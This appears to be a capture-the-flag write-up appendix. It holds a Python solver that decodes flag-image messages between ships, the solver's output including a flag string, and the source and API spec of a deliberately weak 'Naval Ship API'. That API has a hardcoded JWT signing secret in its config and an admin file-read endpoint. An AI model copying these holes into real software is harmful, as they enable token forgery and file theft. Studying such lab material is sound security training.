158         """Compare flag of character c with sub-image on position pos
159     return cumulative difference on pixels"""
160         a, xc, yc = self.flags[c]
161         px, py = pos
162         w, h, _ = a.shape
163         asub = aimage[px-xc:px-xc+w, py-yc:py-yc+h, :] - a
164         cumdiff = np.sum(np.absolute(asub))
165         self.logger.debug('comparing char %s to pos (%d, %d) => %f',
166                           c, pos[0], pos[1], cumdiff)
167         return cumdiff
168
169     def find_flags(self, name):
170         self.logger.info('finding flags on image %s', name)
171         a, afft = self.read_image(name)
172         self.clear_cache()
173         found = []
174         for c, rec in self.flags.items():
175             self.logger.info('trying char %s', c)
176             flagfft = self.flag_fft(c)
177             conv = self.correl(afft, flagfft)
178             del flagfft
179             maxcor = np.max(conv)
180             thr = FCS.CONVTHR*maxcor
181             while True:
182                 posx, posy = np.nonzero(conv > thr)
183                 npos = posx.shape[0]
184                 if npos <= FCS.MAXCAND:
185                     break
186                 thr *= 1.005
```

```
187             self.logger.info('max. corr: %f, thr: %f, candidates: %d',
188                              maxcor, thr, npos)
189             for pos in zip(posx.tolist(), posy.tolist()):
190                 cumdiff = self.compare_flag(a, c, pos)
191                 if cumdiff < FCS.MAXCUMDIF:
192                     found.append((c, pos))
193         sfound = sorted(found, key=lambda rec: rec[1][1])
194         return ''.join([rec[0] for rec in sfound])
195 
196     def correl(self, imagefft, flagfft):
197         """Calculate correlation between image and flag"""
198         convfft = np.multiply(imagefft, flagfft)
199         conv3 = np.fft.irfft2(convfft, axes=(0, 1))
200         conv = np.sum(np.square(conv3), axis=2)
201         return conv
202 
203     def process(self):
204         for shipid in self.shipids:
205             todo = sorted([rec for rec in self.images
206                            if rec['shipid'] == shipid],
207                           key=lambda rec: rec['timestamp'])
208             lastts = None
209             print(' *** ship: %s  %s ***' % (
210                 shipid, FCS.NATFLAGS[int(shipid)]))
211             for rec in todo:
212                 nflags = int(rec['nflags'])
213                 ts = datetime.strptime(rec['timestamp'], '%Y-%d-%m %H:%M:%S')
214                 if lastts is not None and (ts - lastts).total_seconds() >= 120:
215                     print('-----')
216                 lastts = ts
217                 msg = self.find_flags(rec['fn'])
218                 if nflags != len(msg):
219                     self.logger.error(
220                         '#flag mismatch for %s: %d exp, %d found',
221                         rec['fn'], nflags, len(msg))
222                 if msg.startswith('0X'):
223                     try:
224                         unhmsg = binascii.unhexlify(msg[2:])
225                         msg = 'hex: "%s"' % unhmsg.decode('ascii')
226                     except (binascii.Error, UnicodeDecodeError):
227                         self.logger.error('cannot unhexlify %s', rec['fn'])
228                 print('%s  %2d %-14s  %s  %s' % (
229                     rec['timestamp'], nflags, rec['type'], rec['fn'], msg))
230             print('===============')
231 
232 
233 if __name__ == '__main__':
234     logging.basicConfig(level=logging.DEBUG,
235                         format='%(asctime)s | %(levelname)s | %(message)s',
236                         filename='fcs.log')
```

```
237
238     fcs = FCS('ships.json')
239     fcs.process()
```

messages

```
1   $ python solve.py
2    *** ship: 259798  IT ***
3   2023-10-02 11:30:18   9 long_message    xidfjmtojrijkfhgxrkeepbfzrdioemt  HONEYMOON
4   ===============
5    *** ship: 745387  GR ***
6   2023-10-02 11:30:18   1 short_message   qronxprykjntmvcwcihtxevtefglpcea  K
7   -----
8   2023-10-02 11:32:50   2 short_message   xhbbnbucjhrheenctftiicbloqzjbojz  KL
9   -----
10  2023-10-02 11:35:08  20 long_message    eqxboejickzswuiivlmjyphhpeciqbfj  hex: "Can you s"
11  2023-10-02 11:36:35  20 long_message    gxsfjwnfbtztajgmrmklrrkzpthwbcbh  hex: "ell us so"
12  2023-10-02 11:38:02  20 long_message    mmfutnnhmbuwikijmmxvafvoscaureed  hex: "me ipv4 a"
13  2023-10-02 11:39:56  20 long_message    cenithsibphpqiyzelzsrmksqfnsljes  hex: "ddresses?"
14  -----
15  2023-10-02 12:45:00  20 long_message    gtzwweieommowkqgtvxkwbqndlzlpois  hex: "Relay: Ha"
16  2023-10-02 12:46:21  20 long_message    zzdkdzzmihnwplqldurdutuokyszakxg  hex: "ve you se"
17  2023-10-02 12:47:52  20 long_message    wreirpozghydrwqjgtzmtqjjrxlyhtqw  hex: "en Mr. Ca"
18  2023-10-02 12:49:28  14 long_message    ucrcxftmrzpgvksdmkdupahttpwhebjg  hex: "letka?"
19  ===============
20   *** ship: 304622  NL ***
21  2023-10-02 11:30:18   1 short_message   fytnqqtmiflldhttljkhvwcooazamptj  M
22  -----
23  2023-10-02 11:37:45  20 long_message    dhtdlbfedfykcfjoqkyzvyaugichcpke  hex: "CNS Josef"
24  2023-10-02 11:38:58  20 long_message    jiaovotzbcnwdzgotxsbogondrzjnvlb  hex: " Verich, "
25  2023-10-02 11:40:12  20 long_message    uforuecpbsvmvbcistxbqmhbjngdihbf  hex: "nice flag"
26  -----
27  2023-10-02 11:48:51  20 long_message    iuomilytqpucycidmkrtvcmifnqoprre  hex: "CNS Josef"
28  2023-10-02 11:50:00  20 long_message    brbezdorjcmststjxmvijsxmgsshmalm  hex: " Verich, "
29  2023-10-02 11:51:08  20 long_message    zqgtpzirjdgstercodmhnknefdxrukfl  hex: "is Mr. Ca"
30  2023-10-02 11:52:25  20 long_message    wkqnlgjqwsojeiamybkmcybusfpsuptm  hex: "letka on "
31  2023-10-02 11:53:28  14 long_message    tpbgtvdfmtmiofzdobtcnrnqrlvgwmqm  hex: "board?"
32  -----
33  2023-10-02 12:30:12  20 long_message    ryjypqpubwianhnzbavwthwoahjqirvi  hex: "Have you "
34  2023-10-02 12:31:27  20 long_message    nqrddyppighaotgvnhymrckyleogsqbg  hex: "seen Mr. "
35  2023-10-02 12:32:38  18 long_message    aiaucdjpnsntplwncqozuymywjmhukwm  hex: "Caletka?"
36  ===============
37   *** ship: 717609  FI ***
38  2023-10-02 11:30:18  12 long_message    cmsnkxoklpmhiqgupphptwlbguuiopjr  hex: "CNS J"
39  2023-10-02 11:30:20  12 long_message    uxfvfxezfopmgljghgmvdyoflyuctong  hex: "osef "
40  2023-10-02 11:31:22   6 long_message    qzsyhkpxvmowpqygwbmkpyuftatljypd  VERICH
41  2023-10-02 11:32:25  12 long_message    rnkwhtwrtzadigwrpswlxqjkmaixkrnk  hex: ", are"
42  2023-10-02 11:33:27  12 long_message    fwxjmwekxsvvooplbrfcetjumzorvebx  hex: " your"
43  2023-10-02 11:34:30  12 long_message    malytkmuxyyhoizzlrdslphxiebxgucf  hex: " nets"
44  2023-10-02 11:35:32  12 long_message    jxiuguaiqfetbhccrsocxvhuihcbbgky  hex: " ok, "
45  2023-10-02 11:36:33  12 long_message    zbindrcgpjnqcispavsrfuxmxydymkbf  hex: "too? "
46  2023-10-02 11:37:36   8 long_message    nuyblkwgzodkbjhgjgfdmzrjlmqzlfdz  hex: ";-)"
```

```
-----
2023-10-02 11:41:00  12 long_message    dzkkbyftmolajmgqyeiryyivrqoegekc  hex: "CNS J"
2023-10-02 11:42:03  12 long_message    cwxrnolhaezundjspjsvrjaqnhjpngyp  hex: "osef "
2023-10-02 11:43:05   6 long_message    dwinjgndjrrwckmjjwagbufpnebvkvjo  VERICH
2023-10-02 11:44:07  12 long_message    buquypzjibuuqbmycjwzuqcanxmhdokk  hex: ", you"
2023-10-02 11:45:09  12 long_message    ygwllzvvmeamixrqpviwkvxiaafctwfc  hex: " can "
2023-10-02 11:46:12   7 long_message    qccxgrxhvgnfandawbuwonpytkbrhjvf  IMPROVE
2023-10-02 11:47:14  12 long_message    ktwtfrlfjsnoqukcysexvzghkxvrvlnh  hex: " them"
2023-10-02 11:48:17  10 long_message    eymcrjssbgwivpyxnbwiyriupuxidunq  hex: " by "
2023-10-02 11:49:18  12 long_message    aqhzrefkuxdymavxvpkmzguvftaqzifz  hex: "RkxBR"
2023-10-02 11:50:21  12 long_message    wkqiyufjejlddvrpdoyjairgychslbrv  hex: "3tsVH"
2023-10-02 11:51:23  12 long_message    kzipwwkhjfttxumuwpdfkcfkobkydnen  hex: "JHLTN"
2023-10-02 11:52:25  12 long_message    eufsdqatkmokqhpxtgzazfhlwzcmtnyl  hex: "vWG4t"
2023-10-02 11:53:28  12 long_message    zzoubizlyyipumvijaqyoudbsnngrmks  hex: "YW9aT"
2023-10-02 11:54:32  12 long_message    cimekmmmntzzeisntnmtkekkvifpblpn  hex: "i1aNH"
2023-10-02 11:55:35  12 long_message    srjbvbrmsvfsalrkzndhyijgrhpcztfz  hex: "FNfQ="
2023-10-02 11:56:39   8 long_message    clibjjykcqqsxncqusveikakzoitfnea  hex: "= !"
===============
 *** ship: 627912  GB ***
2023-10-02 11:30:18   2 short_message   gwpmyzutwwuaneucbblckpgqsnvyiebx  PE
-----
2023-10-02 12:33:00  18 long_message    szrqzrcuyocbpmabxsyrocytlubcqftw  hex: "Relay: H"
2023-10-02 12:34:00  18 long_message    efohpauggoenqzhysleojdkwztyktsev  hex: "ave you "
2023-10-02 12:35:00  18 long_message    qbpdlxbtjdgboyrgkocxsrlgeiyckdkp  hex: "seen Mr."
2023-10-02 12:36:00  18 long_message    sgavctduqwsplbpvztkbjuxyxnbrffyk  hex: " Caletka"
2023-10-02 12:37:00   4 ship_name       lcsupmmrqnorcqekocpigpapxlslottg  hex: "?"
===============
 *** ship: 567874  SK ***
2023-10-02 11:30:18   1 short_message   owyphcthfjiogtsskewqpqbqsufyekfs  E
-----
2023-10-02 11:40:00   1 short_message   tldakfqlalagsnldvkfzemgznwocllhk  K
-----
2023-10-02 11:43:02  14 long_message    rctgricoofibtwqyexzurafcoybmqzbz  hex: "Hey, w"
2023-10-02 11:44:14  14 long_message    omubfbsfdsrbgfupwawqlpytytxftjrd  hex: "hat is"
2023-10-02 11:45:15  14 long_message    bgongwndgpxslbchkesjtuflpurvgcis  hex: " your "
2023-10-02 11:46:18  14 long_message    rgkkrjlqkcbakebcttotmjoxhrbzypno  hex: "wifi P"
2023-10-02 11:47:21   7 long_message    ukcnmqdmqfjnutsafajpbagiabldavaj  ASSWORD
2023-10-02 11:48:19   4 ship_name       gjdbcyxeqzufatqmbqxtdexbhtgwdqcx  hex: "?"
-----
2023-10-02 12:41:24  14 long_message    ytythebnnuyfbdsnibjwtgwrkvddledg  hex: "Relay:"
2023-10-02 12:42:18  14 long_message    hltqwxlrqfpmdvwrefabnnctdrcwojzw  hex: " Have "
2023-10-02 12:43:12  14 long_message    cwautabhaqfuunecnnjapvfhdvtsiaoe  hex: "you se"
2023-10-02 12:44:09  14 long_message    ciuemipqmmckmprwmmabuznirrqenriy  hex: "en Mr."
2023-10-02 12:45:05  14 long_message    xkarfwleyjvhkivzibqpboyuhvtunwol  hex: " Calet"
2023-10-02 12:46:01   8 long_message    ffbyfhydersznxishwajuolbhceqtohw  hex: "ka?"
===============
 *** ship: 487078  BR ***
2023-10-02 11:30:18   1 short_message   anqmnnkdilsdfqlqbbrtjrrbqtalnrgl  V
-----
2023-10-02 11:32:47  16 long_message    qgqzzsupoikjhhsrhnqunnsaixirwlsh  hex: "Our cof"
```

```
2023-10-02 11:33:52  16 long_message    kkglwxloneopikuenkdskiitjhjnxyws  hex: "fee mac"
2023-10-02 11:34:58  16 long_message    jhwlxnkmestyepexockmlcurcsoneyoi  hex: "hine is"
2023-10-02 11:36:03  16 long_message    dfbcwuvrspgymxfanfixdsewullrmebg  hex: " broken"
2023-10-02 11:37:11  16 long_message    naxonqjkhfmkcovdmbzmldmzpzuvvavy  hex: ", we ne"
2023-10-02 11:38:18  16 long_message    kiddxaeumfxjrijmscnwucgbeoatdieb  hex: "ed a me"
2023-10-02 11:39:22  16 long_message    xskdiiwbwnkotcykqydqswbfdiaryxee  hex: "chanic."
-----
2023-10-02 11:45:00   2 short_message   xqmdpcjxntzevzjazqfbchnytzuekclz  VF
===============
 *** ship: 782535  ES ***
2023-10-02 11:30:18   2 short_message   zvdaadtixobvgkvpxolkjlqolsjxoxxp  BV
-----
2023-10-02 11:37:27  34 long_message    lmvaisoycxceyqholqthljfdhjgwiqar  hex: "CNS Josef Verich"
2023-10-02 11:38:32  34 long_message    urqlxpwijqjrbtexkqphvckibsjigsbp  hex: ", can your netwo"
2023-10-02 11:39:40  34 long-message    faymrpjbajotiyqxwuiuakimuvzhgpun  hex: "rk guy set up a "
2023-10-02 11:40:44  30 long_message    qbtyjmwocjujdnhjkmsdqctuucngarts  hex: "router for us?"
-----
2023-10-02 11:50:31   2 short_message   omlrfmokmamoszvfopkgeemjvprtfhcw  BV
===============
 *** ship: 367676  FR ***
2023-10-02 11:30:18   1 short_message   nueujtmhxwbqwjrradxhcyyrroefdszd  X
-----
2023-10-02 11:35:43  24 long_message    ajshslvsnbevfdnoncbpylqgspvplqur  hex: "Party on th"
2023-10-02 11:36:42  24 long_message    vgptsygrpaiosvgesiwjwcelwumalkdt  hex: "e bridge at"
2023-10-02 11:37:50  24 long_message    ikeosnxvfwqyhievhomuhjuwjnxosuil  hex: " 2100 ZULU."
-----
2023-10-02 11:43:15  24 long_message    askooyynbtnbsktiqcegkwfyfencnkim  hex: "Free pinot "
2023-10-02 11:44:17  24 long_message    vlgbgamyiilvsyavsqhsadavcysqtuwr  hex: "gris for ev"
2023-10-02 11:45:11  16 long_message    jagbfhvsjomvplwzwjjkxnkcnxztyjra  hex: "eryone!"
===============
```

B Listings for U.S.A.

openapi.json

```
{
  "openapi": "3.0.2",
  "info": {
    "title": "Naval Ship API",
    "version": "1.0"
  },
  "paths": {
    "/api/v1/user/{user_id}": {
      "get": {
        "tags": [
          "user"
        ],
        "summary": "Fetch User",
        "description": "Fetch a user by ID",
        "operationId": "fetch_user_api_v1_user__user_id__get",
```

```
        "parameters": [
          {
            "required": true,
            "schema": {
              "title": "User Id",
              "type": "integer"
            },
            "name": "user_id",
            "in": "path"
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/User"
                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/api/v1/user/signup": {
      "post": {
        "tags": [
          "user"
        ],
        "summary": "Create User Account",
        "description": "Create new user",
        "operationId": "create_user_signup_api_v1_user_signup_post",
        "requestBody": {
          "content": {
```

```
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/UserSignup"
              }
            }
          },
          "required": true
        },
        "responses": {
          "201": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/api/v1/user/login": {
      "post": {
        "tags": [
          "user"
        ],
        "summary": "User Login",
        "description": "Logs in the user and returns JWT",
        "operationId": "login_api_v1_user_login_post",
        "requestBody": {
          "content": {
            "application/x-www-form-urlencoded": {
              "schema": {
                "$ref": "#/components/schemas/Body_login_api_v1_user_login_post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
```

```
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Token"
                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/api/v1/user/updatepassword": {
      "post": {
        "tags": [
          "user"
        ],
        "summary": "Update User Password",
        "description": "Update a user password",
        "operationId": "update_password_api_v1_user_updatepassword_post",
        "requestBody": {
          "content": {
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/UserPWDchange"
              }
            }
          },
          "required": true
        },
        "responses": {
          "201": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/User"
                }
              }
            }
```

```
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/api/v1/admin/": {
      "get": {
        "tags": [
          "admin"
        ],
        "summary": "Admin Check",
        "description": "Returns true if the user is in admin role",
        "operationId": "admin_check_api_v1_admin__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/api/v1/admin/file": {
      "post": {
        "tags": [
          "admin"
        ],
        "summary": "Get File",
```

```
        "description": "Returns a file on the server",
        "operationId": "get_file_api_v1_admin_file_post",
        "requestBody": {
          "content": {
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/GetFile"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/api/v1/admin/getFlag": {
      "put": {
        "tags": [
          "admin"
        ],
        "summary": "Get Flag",
        "description": "The Flag",
        "operationId": "get_flag_api_v1_admin_getFlag_put",
        "responses": {
          "200": {
            "description": "Successful Response",
```

```
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    }
  },
  "components": {
    "schemas": {
      "Body_login_api_v1_user_login_post": {
        "title": "Body_login_api_v1_user_login_post",
        "required": [
          "username",
          "password"
        ],
        "type": "object",
        "properties": {
          "grant_type": {
            "title": "Grant Type",
            "pattern": "password",
            "type": "string"
          },
          "username": {
            "title": "Username",
            "type": "string"
          },
          "password": {
            "title": "Password",
            "type": "string"
          },
          "scope": {
            "title": "Scope",
            "type": "string",
            "default": ""
          },
          "client_id": {
            "title": "Client Id",
            "type": "string"
          },
          "client_secret": {
            "title": "Client Secret",
            "type": "string"
```

```
          }
        }
      },
      "GetFile": {
        "title": "GetFile",
        "required": [
          "file"
        ],
        "type": "object",
        "properties": {
          "file": {
            "title": "File",
            "type": "string"
          }
        }
      },
      "HTTPValidationError": {
        "title": "HTTPValidationError",
        "type": "object",
        "properties": {
          "detail": {
            "title": "Detail",
            "type": "array",
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            }
          }
        }
      },
      "Token": {
        "title": "Token",
        "required": [
          "access_token",
          "token_type"
        ],
        "type": "object",
        "properties": {
          "access_token": {
            "title": "Access Token",
            "type": "string"
          },
          "token_type": {
            "title": "Token Type",
            "type": "string"
          }
        }
      },
      "User": {
        "title": "User",
        "type": "object",
```

```
        "properties": {
          "guid": {
            "title": "Guid",
            "type": "string"
          },
          "email": {
            "title": "Email",
            "type": "string",
            "format": "email"
          },
          "date": {
            "title": "Date",
            "type": "integer"
          },
          "time_created": {
            "title": "Time Created",
            "type": "integer"
          },
          "admin": {
            "title": "Admin",
            "type": "boolean",
            "default": false
          },
          "id": {
            "title": "Id",
            "type": "integer"
          }
        },
        "description": "Utilized for authentication."
      },
      "UserPWDchange": {
        "title": "UserPWDchange",
        "required": [
          "guid",
          "password"
        ],
        "type": "object",
        "properties": {
          "guid": {
            "title": "Guid",
            "type": "string"
          },
          "password": {
            "title": "Password",
            "type": "string"
          }
        }
      },
      "UserSignup": {
        "title": "UserSignup",
```

```
        "required": [
          "email",
          "password"
        ],
        "type": "object",
        "properties": {
          "email": {
            "title": "Email",
            "type": "string",
            "format": "email"
          },
          "password": {
            "title": "Password",
            "type": "string"
          }
        }
      },
      "ValidationError": {
        "title": "ValidationError",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "type": "object",
        "properties": {
          "loc": {
            "title": "Location",
            "type": "array",
            "items": {
              "type": "string"
            }
          },
          "msg": {
            "title": "Message",
            "type": "string"
          },
          "type": {
            "title": "Error Type",
            "type": "string"
          }
        }
      }
    },
    "securitySchemes": {
      "OAuth2PasswordBearer": {
        "type": "oauth2",
        "flows": {
          "password": {
            "scopes": {},
```

```
            "tokenUrl": "/api/v1/user/login"
          }
        }
      }
    }
  }
}
```

/app/shipapi/main.py

```
import asyncio

from fastapi import FastAPI, APIRouter, Query, HTTPException, Request, Depends
from fastapi_contrib.common.responses import UJSONResponse
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBasic, HTTPBasicCredentials
from fastapi.openapi.docs import get_swagger_ui_html
from fastapi.openapi.utils import get_openapi

from typing import Optional, Any
from pathlib import Path
from sqlalchemy.orm import Session

from shipapi.schemas.user import User
from shipapi.api.v1.api import api_router
from shipapi.appconfig.config import settings

from shipapi import deps
from shipapi import crud

app = FastAPI(title="Naval ship API", openapi_url=None, docs_url=None, redoc_url=None)
root_router = APIRouter(default_response_class=UJSONResponse)


@app.get("/", summary=" ", status_code=200, include_in_schema=False)
def root():
    """
    Root
    """
    return {"msg": "Naval ship API version 1.0"}


@app.get("/api", summary="List versions", status_code=200, include_in_schema=False)
def list_versions():
    """
    API versions
    """
    return {"endpoints": ["v1"]}


@app.get("/api/v1", summary="List v1 endpoints", status_code=200, include_in_schema=False)
```

```
def list_endpoints_v1():
    """
    API v1 Endpoints
    """
    return {"endpoints": ["user", "admin"]}


@app.get("/docs", summary="Documentation", include_in_schema=False)
async def get_documentation(
        current_user: User = Depends(deps.parse_token)
):
    return get_swagger_ui_html(openapi_url="/openapi.json", title="Naval ship API docs")


@app.get("/openapi.json", include_in_schema=False)
async def openapi(
        current_user: User = Depends(deps.parse_token)
):
    return get_openapi(title="Naval Ship API", version="1.0", routes=app.routes)


app.include_router(api_router, prefix=settings.API_V1_STR)
app.include_router(root_router)


def start():
    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=80, log_level="debug")


if __name__ == "__main__":
    import uvicorn

    uvicorn.run(app, host="0.0.0.0", port=80, log_level="debug")
```

/app/shipapi/appconfig/config.py

```
from pydantic import AnyHttpUrl, BaseSettings, EmailStr, validator
from typing import List, Optional, Union

from enum import Enum


class Settings(BaseSettings):
    API_V1_STR: str = "/api/v1"

    JWT_RSA_KEY =  open('shipapi/appconfig/jwtsigning.key').read()
    JWT_RSA_PUB = open('shipapi/appconfig/jwtsigning.pub').read()
    ALGORITHM: str = "RS384"
#   We don't use symmetric cipher algo anymore
```

```
    JWT_SECRET: str = "TW!BMP9yVRiDEziTsekVoHZJFcXQgZf8"



    ACCESS_TOKEN_EXPIRE_MINUTES: int = 60 * 24 * 8
    CORS_ORIGINS: List[AnyHttpUrl] = []

    @validator("CORS_ORIGINS", pre=True)
    def assemble_cors_origins(cls, v: Union[str, List[str]]) -> Union[List[str], str]:
        if isinstance(v, str) and not v.startswith("["):
            return [i.strip() for i in v.split(",")]
        elif isinstance(v, (list, str)):
            return v
        raise ValueError(v)

    SQLALCHEMY_DATABASE_URI: Optional[str] = "sqlite:///navalship.db"

    class Config:
        case_sensitive = True


settings = Settings()
```